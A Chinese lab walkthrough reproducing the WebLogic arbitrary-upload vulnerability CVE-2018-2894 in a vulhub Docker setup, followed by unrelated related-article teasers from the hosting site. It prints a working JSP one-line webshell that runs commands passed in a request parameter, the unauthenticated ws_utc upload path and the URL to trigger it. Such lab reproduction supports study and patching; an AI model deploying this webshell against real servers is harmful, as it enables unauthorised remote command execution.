文件上传漏洞复现(CVE-2018-2894)

文章目录

  • 搭建环境
  • 启动环境
  • 漏洞复现

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

搭建环境

进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:

cd vulhub/weblogic/CVE-2018-2894

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):

在这里插入图片描述

然后使用下面命令,搭建docker-compose并启动:

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装中:

在这里插入图片描述

启动环境

等待安装完成后,环境就搭建成功了,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:7001进入weblogic环境:

在这里插入图片描述

访问10.9.75.45:7001/console,会自动跳转到登录界面,如图:

在这里插入图片描述

使用下面命令获取账号密码:

docker-compose logs | grep password

如图所示:

在这里插入图片描述

管理员用户名为weblogic,密码为IMt7uSYk

输入账号密码登录成功:

在这里插入图片描述

漏洞复现

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

点击 base_domain,点击advanced:

在这里插入图片描述

在advanced中开启下面的选项并保存,启用web测试页:

在这里插入图片描述

然后访问10.9.75.45:7001/ws_utc/config.do网页,这是管理端未授权的两个页面之一,存在任意上传getshell漏洞,可直接获取权限,在该网页将默认目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,然后提交。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

如图:

在这里插入图片描述

在安全中的add上传准备好的一句话木马文件,并用bp抓包:

该木马使用方式,传递两个参数 pwdi

pwd为设置的名称(123)。

i 为执行的命令。

时间戳可通过抓包获得。

一句话木马:

<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

在这里插入图片描述

抓包后Ctrl+r发送到重定向,点击发送,找到时间戳:

在这里插入图片描述

访问10.9.75.45:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即

http://10.9.75.45:7001/ws_utc/css/config/keystore/1693418013892_1.jsp?pwd=123&i=ls

webshell执行成功:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/90461.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MPI之MPI_Sendrecv接口以及空进程概念介绍

MPI_Sendrecv函数原型 int MPI_Sendrecv(const void *sendbuf, int sendcount, MPI_Datatype sendtype, int dest, int sendtag,void *recvbuf, int recvcount, MPI_Datatype recvtype, int source, int recvtag, MPI_Comm comm, MPI_Status *status);其中各个参数的含义如下&…

pycharm 打开Terminal时报错activate.ps1,因为在此系统上禁止运行脚本,并因此无法进入虚拟环境

pycharm 打开Terminal时报错activate.ps1&#xff0c;因为在此系统上禁止运行脚本&#xff0c;并因此无法进入虚拟环境 如下图所示&#xff1a; 网上说可以set_restrictFalse什么的&#xff0c;虽然也可但可能会降低电脑安全性&#xff0c;可以将下面的终端改为cmd.exe即可

(二十)大数据实战——Flume数据采集的基本案例实战

前言 本节内容我们主要介绍几个Flume数据采集的基本案例&#xff0c;包括监控端口数据、实时监控单个追加文件、实时监控目录下多个新文件、实时监控目录下的多个追加文件等案例。完成flume数据监控的基本使用。 正文 监控端口数据 ①需求说明 - 使用 Flume 监听一个端口&am…

Breakpad交叉编译aarch64

原本是在mac os上编译的&#xff0c;但是会出现一些问题&#xff0c;因此还是开了台linux容器进行编译&#xff0c;本文可结合之前的linux下编译breakpad共同查看。 Linux下Breakpad编译_Edward.W的博客-CSDN博客https://blog.csdn.net/u013379032/article/details/130754480?…

4.5 放映演示文稿

制作完成的演示文稿最终是为了向观众进行展示&#xff0c;因此掌握演示文稿放映的技巧至关重要。本节主要介绍演示文稿放映的相关技巧&#xff0c;包括排练计时、自定义放映、设置放映方式以及墨迹画笔等内容。 4.5.1 排练计时 当进行演讲汇报时&#xff0c;常常要使用到幻灯…

低代码的探索之路

Gartner发布报告指出&#xff0c;2023年全球低代码开发平台市场规模将达到345亿美元&#xff0c;比2022年增长20%。 目前&#xff0c;国内外已经有许多低代码平台&#xff0c;包括OutSystems、Mendix、Appian、Microsoft Power App等。这些平台提供了丰富的功能和工具&#xff…

MPC模型预测控制器学习笔记(附程序)

本文用于记录学习DR_CAN老师发布的MPC系列视频教程的相关内容&#xff0c;文章中放的源码也是DR_CAN老师提供的程序示例&#xff0c;链接如下&#xff1a; DR_CAN老师的视频教程链接&#xff08;点击可跳转&#xff09; DR_CAN老师提供的程序示例&#xff08;点击可跳转&#x…

2007-2022年上市公司污染排放数据/2007-2022年上市公司污染排放水平、污染排放量数据

2007-2022年上市公司污染排放数据/2007-2022年上市公司污染排放水平、污染排放量数据 1、时间&#xff1a;2007-2022年 2、指标&#xff1a;证券代码、year、化学需氧量、氨氮排放量、总氮、总磷、水体综合污染当量对数、二氧化硫、氮氧化物、烟尘、空气综合污染当量对数、总…

使用生成式 AI 和 Amazon Kendra 实现企业规模的图像字幕创建和搜索

Amazon Kendra 是一个由机器学习(ML)驱动的智能搜索服务。Amazon Kendra 重新构想了您的网站和应用程序的搜索功能,以便您的员工和客户可以轻松地找到散布在您组织内多个位置和内容存储库中的内容。 亚马逊云科技开发者社区为开发者们提供全球的开发技术资源。这里有技术文档、…

day01-ES6新特性以及ReactJS入门

课程介绍 ES6新特性ReactJS入门学习 1、ES6 新特性 1.2、let 和 const 命令 var 之前&#xff0c;我们写js定义变量的时候&#xff0c;只有一个关键字&#xff1a; var var 有一个问题&#xff0c;变量作用域的问题&#xff0c;作用域不可控&#xff0c;就是定义的变量有时会…

MySQL的备份与恢复以及日志管理

目录 一、数据备份的重要性 二、数据库备份的分类 1、物理备份 2、逻辑备份 &#xff08;1&#xff09;完全备份&#xff1a;每次对数据进行完整的备份 &#xff08;2&#xff09;差异备份&#xff1a;备份自从上次完全备份之后被修改的过文件 &#xff08;3&#xff09…

三、原型模式

一、什么是原型模式 原型&#xff08;Prototype&#xff09;模式的定义如下&#xff1a;用一个已经创建的实例作为原型&#xff0c;通过复制该原型对象来创建一个和原型相同或相似的新对象。在这里&#xff0c;原型实例指定了要创建的对象的种类。用这种方式创建对象非常高效&a…